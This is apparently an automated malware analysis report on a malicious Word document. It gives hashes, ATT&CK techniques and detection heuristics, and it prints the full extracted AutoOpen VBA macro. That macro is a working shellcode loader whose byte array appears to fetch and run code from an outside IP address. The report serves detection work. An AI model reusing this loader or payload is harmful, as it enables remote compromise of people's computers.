Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8dbb32b5d596f91f…

MALICIOUS

Office (OLE)

34.0 KB Created: 2018-06-21 15:34:00 Authoring application: Microsoft Office Word First seen: 2018-09-04
MD5: c23bb47d2af7f65d951b080e97d78410 SHA-1: 326721f9bdf49e00f387a94c68205639794e4f11 SHA-256: 8dbb32b5d596f91fd5cc703e9d9803cb6e908360038da249959d1532d445385d
198 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.005 Visual Basic

The sample contains VBA macros that leverage the VirtualAlloc, CreateThread, and RtlMoveMemory Windows API functions. This strongly suggests the macro is designed to allocate memory and execute shellcode, exploiting a known vulnerability (CVE-2007-3899) in Microsoft Word. The AutoOpen macro is automatically executed upon opening the document, facilitating the exploitation.

Heuristics 8

  • CVE-2007-3899 — Microsoft Word malformed string memory corruption critical CVE likely CVE_2007_3899
    Word OLE document has the MS07-060 malformed-string exploit shape: a Word 97-family FIB points to a malformed DOP/string-table region with an abnormal INT_MAX run, inflated text counters, and exploit payload or Mdropper.Z campaign evidence.
  • ClamAV: Doc.Exploit.Generic-6923078-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Exploit.Generic-6923078-0
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub AutoOpen()
    Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
    Dim Dnvzg As Long, Zlqyhfr As Variant, Jtnqkakd As Long
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4465 bytes
SHA-256: ed0b1a67350407091a14f8f9fac98851c3e8e0cf25fd6aeacaa2eeaaf2388ad3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If Vba7 Then
    Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Ciacweg As Long, ByVal Xlmpa As Long, ByVal Siq As LongPtr, Tvi As Long, ByVal Cgh As Long, Qtiy As Long) As LongPtr
    Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Zpuqdnah As Long, ByVal Fghihod As Long, ByVal Zjwagjbut As Long, ByVal Kvraqppp As Long) As LongPtr
    Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Bsohwvm As LongPtr, ByRef Utoqrbm As Any, ByVal Wbdu As Long) As LongPtr
#Else
    Private Declare Function CreateThread Lib "kernel32" (ByVal Ciacweg As Long, ByVal Xlmpa As Long, ByVal Siq As Long, Tvi As Long, ByVal Cgh As Long, Qtiy As Long) As Long
    Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Zpuqdnah As Long, ByVal Fghihod As Long, ByVal Zjwagjbut As Long, ByVal Kvraqppp As Long) As Long
    Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Bsohwvm As Long, ByRef Utoqrbm As Any, ByVal Wbdu As Long) As Long
#End If

Sub Auto_Open()
    Dim Dnvzg As Long, Zlqyhfr As Variant, Jtnqkakd As Long
#If Vba7 Then
    Dim Nxgv As LongPtr, Cglfzy As LongPtr
#Else
    Dim Nxgv As Long, Cglfzy As Long
#End If
    Zlqyhfr = Array(232, 130, 0, 0, 0, 96, 137, 229, 49, 192, 100, 139, 80, 48, 139, 82, 12, 139, 82, 20, 139, 114, 40, 15, 183, 74, 38, 49, 255, 172, 60, 97, 124, 2, 44, 32, 193, 207, 13, 1, 199, 226, 242, 82, 87, 139, 82, 16, 139, 74, 60, 139, 76, 17, 120, 227, 72, 1, 209, 81, 139, 89, 32, 1, 211, 139, 73, 24, 227, 58, 73, 139, 52, 139, 1, 214, 49, 255, 172, 193, _
207, 13, 1, 199, 56, 224, 117, 246, 3, 125, 248, 59, 125, 36, 117, 228, 88, 139, 88, 36, 1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, 139, 1, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 95, 95, 90, 139, 18, 235, 141, 93, 104, 110, 101, 116, 0, 104, 119, 105, 110, 105, 84, 104, 76, 119, 38, 7, 255, 213, 49, 219, 83, 83, 83, 83, _
83, 104, 58, 86, 121, 167, 255, 213, 83, 83, 106, 3, 83, 83, 104, 187, 1, 0, 0, 232, 126, 1, 0, 0, 47, 65, 80, 86, 101, 110, 114, 120, 99, 121, 97, 52, 101, 119, 66, 95, 66, 82, 101, 118, 98, 108, 65, 65, 77, 57, 102, 54, 98, 98, 115, 101, 95, 56, 106, 88, 89, 101, 97, 86, 121, 70, 48, 52, 50, 121, 113, 107, 80, 77, 86, 52, 106, 80, 82, 113, _
84, 111, 114, 45, 107, 104, 79, 55, 77, 86, 87, 73, 121, 100, 122, 122, 115, 101, 83, 66, 65, 87, 86, 78, 117, 90, 116, 87, 107, 65, 110, 122, 104, 110, 66, 115, 87, 78, 67, 108, 95, 78, 52, 119, 99, 82, 74, 89, 80, 110, 52, 104, 57, 103, 110, 77, 102, 80, 95, 108, 45, 102, 113, 102, 121, 74, 79, 111, 99, 72, 74, 67, 53, 100, 107, 106, 68, 76, 54, 85, _
83, 81, 117, 78, 79, 95, 53, 74, 104, 98, 118, 100, 109, 81, 100, 65, 76, 81, 48, 69, 112, 120, 52, 105, 89, 67, 119, 101, 80, 77, 80, 114, 99, 98, 116, 50, 100, 101, 53, 68, 95, 56, 67, 82, 115, 81, 49, 78, 65, 87, 98, 80, 48, 105, 90, 114, 49, 54, 105, 87, 114, 102, 100, 116, 80, 77, 53, 80, 45, 74, 57, 55, 100, 90, 69, 113, 56, 98, 49, 52, _
117, 97, 76, 113, 114, 65, 68, 77, 121, 79, 50, 119, 114, 50, 97, 120, 73, 82, 89, 106, 119, 89, 0, 80, 104, 87, 137, 159, 198, 255, 213, 137, 198, 83, 104, 0, 50, 224, 132, 83, 83, 83, 87, 83, 86, 104, 235, 85, 46, 59, 255, 213, 150, 106, 10, 95, 104, 128, 51, 0, 0, 137, 224, 106, 4, 80, 106, 31, 86, 104, 117, 70, 158, 134, 255, 213, 83, 83, 83, 83, _
86, 104, 45, 6, 24, 123, 255, 213, 133, 192, 117, 20, 104, 136, 19, 0, 0, 104, 68, 240, 53, 224, 255, 213, 79, 117, 205, 232, 75, 0, 0, 0, 106, 64, 104, 0, 16, 0, 0, 104, 0, 0, 64, 0, 83, 104, 88, 164, 83, 229, 255, 213, 147, 83, 83, 137, 231, 87, 104, 0, 32, 0, 0, 83, 86, 104, 18, 150, 137, 226, 255, 213, 133, 192, 116, 207, 139, 7, 1, 195, _
133, 192, 117, 229, 88, 195, 95, 232, 107, 255, 255, 255, 52, 54, 46, 49, 48, 49, 46, 50, 51, 55, 46, 49, 52, 57, 0, 187, 240, 181, 162, 86, 106, 0, 83, 255, 213)

    Nxgv = VirtualAlloc(0, UBound(Zlqyhfr), &H1000, &H40)
    For Jtnqkakd = LBound(Zlqyhfr) To UBound(Zlqyhfr)
        Dnvzg = Zlqyhfr(Jtnqkakd)
        Cglfzy = RtlMoveMemory(Nxgv + Jtnqkakd, Dnvzg, 1)
    Next Jtnqkakd
    Cglfzy = CreateThread(0, 0, Nxgv, 0, 0, 0)
End Sub
Sub AutoOpen()
    Auto_Open
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.